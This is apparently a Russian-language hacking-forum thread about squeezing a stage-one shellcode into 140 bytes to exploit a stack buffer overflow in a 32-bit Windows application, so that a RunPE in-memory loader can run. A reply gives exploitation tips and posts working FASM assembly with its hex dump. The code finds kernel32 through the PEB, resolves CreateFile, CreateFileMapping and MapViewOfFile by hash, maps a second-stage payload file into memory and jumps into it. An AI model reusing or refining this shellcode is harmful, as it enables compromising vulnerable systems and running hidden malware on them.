Доброго времени суток! Постигаю дзен в вопросох написания шк и столкнулся с проблемой: Есть уязвимое приложение с обычным BoF НО место для шк в нем очень ограничено - всего 140 байт. Хотел бы запихать туда рабочий runpe метод (запуск приложения из памяти) Очевидно, что не влезет в чистом виде, egghunt не вариант (данные >140 байт безвозвратно уходят и на них джамп не сделаешь) Решил поступить так: второй стейдж лежит в файле, при помощи createfile + mapview и т.д. стейдж маппится в память и туда делается jmp Размер имени файла - 10 байт (т.е. всего остается 130 байт места). Функции и либа ищутся динамически через peb Вопрос: реально ли поместиться в такой размер? (Вопрос задаю потому что у меня, нуба, уходит за 200 байт) Буду благодарен очень за примеры живые, возможно варианты очень сжатых алгоритмов поиска или хэширования (поиск функции и либы по хэшу)
У апп ASLR включен? Апп 32/64? Возможно есть уже готовые адреса, как минимум CreateFile должен быть? Там по стеку посмотреть адреса в пределах модуля и по смещению уже получить на импорт. Код необязательно располагать в пределах 140 байт, а сам код может быть в другой части уязвимых данных, там по стеку посмотреть где они лежат и уже джампить в ту часть.
Aslr включен, dep нет, приложение 32-битное. Насчет createfile не особо понял. Типа динамически искать в разных модулях вызов и его уже использовать? Когда доходит до переполнения адрес eip перезаписывается на адрес - начало тех данных которые переполняют стек. Т.е. для переполнения нужно 140 байт -> и места 140 байт. Как в этих условиях найти куда улетела остальная часть кода? (Стандартный search тем же windbg не находит ничего) P.S. да и вопрос больше из разряда "а можно ли ужать именно этот способ в указанный размер"
Ну у тебя есть уязвимая аппликуха, вот при экплуатации смотри в стеке где у тебя значения указывающие в пределах модуля есть. К примеру по смещению ESP+0x1000 лежит указатель на какую-нибудь функцию внутри этого модуля. Дальше смотри относительно этого смещения указатель на запись в IAT на функцию CreateFile (если только конечно модуль её импортирует). А если переписать больше? Другой момент, данные откуда перезаписываются в стек? Вот там не лежат ли они целиком? Вот туда и прыгай. Потрассируй код, там будет понятно откуда данные пишутся. --- Сообщение объединено, 24 фев 2019 --- Код (ASM): format PE GUI entry Startup include 'win32wx.inc' section '.text' code readable executable Startup: mov edi, 0xF60023BC call GetModuleHandle push eax push eax mov edi, eax mov ebp, 0x7C788104 call GetProcAddress stdcall eax, "file", 0x10000000, 0, 0, 3, 0x80, 0 pop edi push eax mov ebp, 0x8512D0F7 call GetProcAddress pop ecx stdcall eax, ecx, 0, 0x40, 0, 0, 0 pop edi push eax mov ebp, 0xE6CA1802 call GetProcAddress pop edi stdcall eax, edi, 0xF001F, 0, 0, 0 jmp eax retn prologue@proc equ epilogue@proc equ GetProcAddress: mov eax, [edi + 0x3c] mov eax, [edi + eax + 0x78] lea eax, [eax + edi] push eax mov ecx, [eax + 0x18] mov eax, [eax + 0x20] add eax, edi dec ecx l_f: mov esi, [eax + ecx * 4] add esi, edi xor edx, edx @@: movzx ebx, byte [esi] rol edx, 7 xor edx, ebx inc esi test ebx, ebx jne @b .if edx = ebp pop eax mov ebx, [eax + 0x24] lea ebx, [ebx + ecx * 2] add ebx, edi movzx ecx, word [ebx] mov eax, [eax + 0x1c] add eax, edi mov eax, [eax + ecx * 4] add eax, edi retn .endif loop l_f pop eax xor eax, eax retn GetModuleHandle: mov eax, [FS : 0x30] mov eax, [eax + 0x0c] lea ebp, [eax + 0x0c] mov eax, [ebp] .repeat mov esi, [eax + 0x30] movzx ecx, word [eax + 0x2c] xor edx, edx dec ecx @@: movzx ebx, byte [esi + ecx - 1] rol edx, 7 xor edx, ebx loop @b .if edx = edi mov eax, [eax + 0x18] retn .endif mov eax, [eax] .until ebp = eax xor eax, eax retn Код (Text): 0000h: BF BC 23 00 F6 E8 B3 00 00 00 50 50 89 C7 BD 04 їј#.циі...PP‰ЗЅ. 0010h: 81 78 7C E8 5C 00 00 00 6A 00 68 80 00 00 00 6A Ѓx|и\...j.hЂ...j 0020h: 03 6A 00 6A 00 68 00 00 00 10 90 E8 0A 00 00 00 .j.j.h....ђи.... 0030h: 66 00 69 00 6C 00 65 00 00 00 FF D0 5F 50 BD F7 f.i.l.e...яР_PЅч 0040h: D0 12 85 E8 2C 00 00 00 59 6A 00 6A 00 6A 00 6A Р.…и,...Yj.j.j.j 0050h: 40 6A 00 51 FF D0 5F 50 BD 02 18 CA E6 E8 12 00 @j.QяР_PЅ..Кжи.. 0060h: 00 00 5F 6A 00 6A 00 6A 00 68 1F 00 0F 00 57 FF .._j.j.j.h....Wя 0070h: D0 FF E0 C3 8B 47 3C 8B 44 07 78 8D 04 38 50 8B РяаГ‹G<‹D.xЌ.8P‹ 0080h: 48 18 8B 40 20 01 F8 49 8B 34 88 01 FE 31 D2 0F H.‹@ .шI‹4€.ю1Т. 0090h: B6 1E C1 C2 07 31 DA 46 85 DB 75 F3 39 EA 75 17 ¶.БВ.1ЪF…Ыuу9кu. 00A0h: 58 8B 58 24 8D 1C 4B 01 FB 0F B7 0B 8B 40 1C 01 X‹X$Ќ.K.ы.·.‹@.. 00B0h: F8 8B 04 88 01 F8 C3 E2 CF 58 31 C0 C3 64 A1 30 ш‹.€.шГвПX1АГdЎ0 00C0h: 00 00 00 8B 40 0C 8D 68 0C 8B 45 00 8B 70 30 0F ...‹@.Ќh.‹E.‹p0. 00D0h: B7 48 2C 31 D2 49 0F B6 5C 0E FF C1 C2 07 31 DA ·H,1ТI.¶\.яБВ.1Ъ 00E0h: E2 F4 39 FA 75 04 8B 40 18 C3 8B 00 39 C5 75 DC вф9ъu.‹@.Г‹.9ЕuЬ 00F0h: 31 C0 C3 1АГ